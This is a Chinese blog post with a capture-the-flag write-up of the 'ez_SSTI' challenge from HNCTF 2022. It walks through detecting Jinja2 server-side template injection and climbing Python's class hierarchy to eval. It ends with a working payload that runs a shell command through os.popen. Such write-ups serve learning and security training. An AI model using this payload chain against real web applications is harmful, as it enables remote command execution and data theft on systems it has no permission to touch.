首页 > 其他分享 >[HNCTF 2022 WEEK2]ez_SSTI

[HNCTF 2022 WEEK2]ez_SSTI

时间:2024-07-13 16:42:31浏览次数:8  
标签:__ .__ globals base __.__ SSTI 2022 WEEK2 class

[HNCTF 2022 WEEK2]ez_SSTI

payload:?name={{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}

1.首先输入{{8*8}}判断漏洞类型

2.然后输入{{''.__class__}}判断当前对象所属的类可以发现为str,因为此处使用的是{{''.__class__}}若使用的是{{''.__class__}}则当前类为tuple

3.再输入{{''.__class__.__base__}}查看当前类对应的父类是否为object

4.输入{{''.__class__.__base__.__subclasses__()}}查看object类的所有子类

5.调用os._wrap_close模块,可以发现此时它的下标为137

6.调用__init__函数,判断模块是否重载

没有出现wrapper字样,所以没有出现重载

7.使用__globals__函数查看全局变量,判断有哪些模块可以调用

可以看到有如下模块可供调用

9.?name={{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}

__builtins__提供对python的所有内置标识符的直接访问

eval()计算字符串表达式的值

popen()执行一个shell以命令来开启一个进程

标签:__,.__,globals,base,__.__,SSTI,2022,WEEK2,class
From: https://www.cnblogs.com/evo-lution/p/18300262

相关文章

  • 2022省赛
    2022省赛题目1:RC-u1不要浪费金币哲哲最近在玩一个游戏,击杀怪物能获得金币——这里记击杀第 i 个怪物获得的金币数量为 Pi​。然而这个游戏允许拥有的金币数量是有上限的,当超过时,超过上限的部分就会被系统光明正大地吃掉,哲哲就拿不到了。为了不浪费金币,哲哲决定,当下一个......
  • Rocky Linux/Redhat8运行Calibre2022报错:Software tree is for environment VCO=aoj
    运行出现了错误:virserver.tclerror:ERROR:CurrentexecutionenvironmentisVCO=aok.SoftwaretreeisforenvironmentVCO=aoj。即calibre软件版本为aoj,但当前的环境是aok。从官网查询calibre的roadmap:http://calibre.mentorcloudservices.com/docs/Calibre_OS_Roadmap.......
  • SQL Server 2022 RTM DGR (CU13+GDR) 发布,修复高危安全漏洞
    SQLServer2022RTMDGR(CU13+GDR)发布,修复高危安全漏洞SQLServerNativeClientOLEDB提供程序远程代码执行漏洞CVE-2024-35272修复请访问原文链接:https://sysin.org/blog/sql-server-2022/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgSQLServer2022......
  • 还在困惑需要多少数据吗?来看看这份估计指南 | CVPR 2022
    论文基于实验验证,为数据需求预测这一问题提供了比较有用的建议,详情可以直接看看Conclusion部分。来源:晓飞的算法工程笔记公众号论文:HowMuchMoreDataDoINeed?EstimatingRequirementsforDownstreamTasks论文地址:https://arxiv.org/abs/2207.01725论文代码:http......
  • 2022 RoboCom CAIP(本科组)国赛个人题解
    RC-u1智能红绿灯为了最大化通行效率同时照顾老年人穿行马路,在某养老社区前,某科技公司设置了一个智能红绿灯。这个红绿灯是这样设计的:路的两旁设置了一个按钮,老年人希望通行马路时会按下按钮;在没有人按按钮的时候,红绿灯一直为绿灯;当红绿灯为绿灯时,有人按下按钮,第一次按下......
  • 同济大学自动控制原理825自动化控制考研车辆考研资料2022真题
    同济大学自动控制原理(科目代码825)是控制/车辆工程专业考研的初始科目,其2022年的考研真题充分展现了该学科的深度和广度。这门科目不仅涵盖了自动控制的基本概念、系统建模、稳定性分析、动态性能分析等传统内容,还深入探讨了现代控制理论、校正设计、离散系统分析以及非线性系统......
  • 【Mutilism数字电路实现32进制5线32译码器】2022-5-7
    缘由3-8译码器到74HC138-编程语言-CSDN问答 +2片160+04非门2个组成8进制和4进制实现。按138逻辑表把E3也接入置零,同时把E1也接入反向使得切换时138保持高电平输出,就看不到转换时第一个出现短暂低电平,是最完美的解决方案,二级反向能时延使得时序符合。......
  • 【Mutilism用74ls192和与非门设计3进制24进制加法计数器2荔枝】2022-5-10
    缘由【数电数字逻辑】如何用74ls192和与非门设计任意进制加法计数器?-嵌入式-CSDN问答 ......
  • 280个地级市金融集聚水平数据(2006-2022年)
    2006年-2022年280个地级市金融集聚水平数据整理资源-CSDN文库金融集聚水平:衡量地级市金融发展的新维度金融集聚水平是衡量一个地区金融发展程度的重要指标,它反映了金融机构、金融资源、金融服务在特定时间和空间的集中程度。这一指标的评估可以从多个维度进行,包括金融机构的......
  • 2022CSP阅读程序真题附解析
        假设输入的x、y均是不超过15的自然数,完成下面的判断题和单选题:判断题16.删去第7行与第13行的unsigned,程序行为不变。()17.将第7行与第13行的short均改为char,程序行为不变。()18.程序总是输出一个整数“0”。()19.当输入为“22”时,......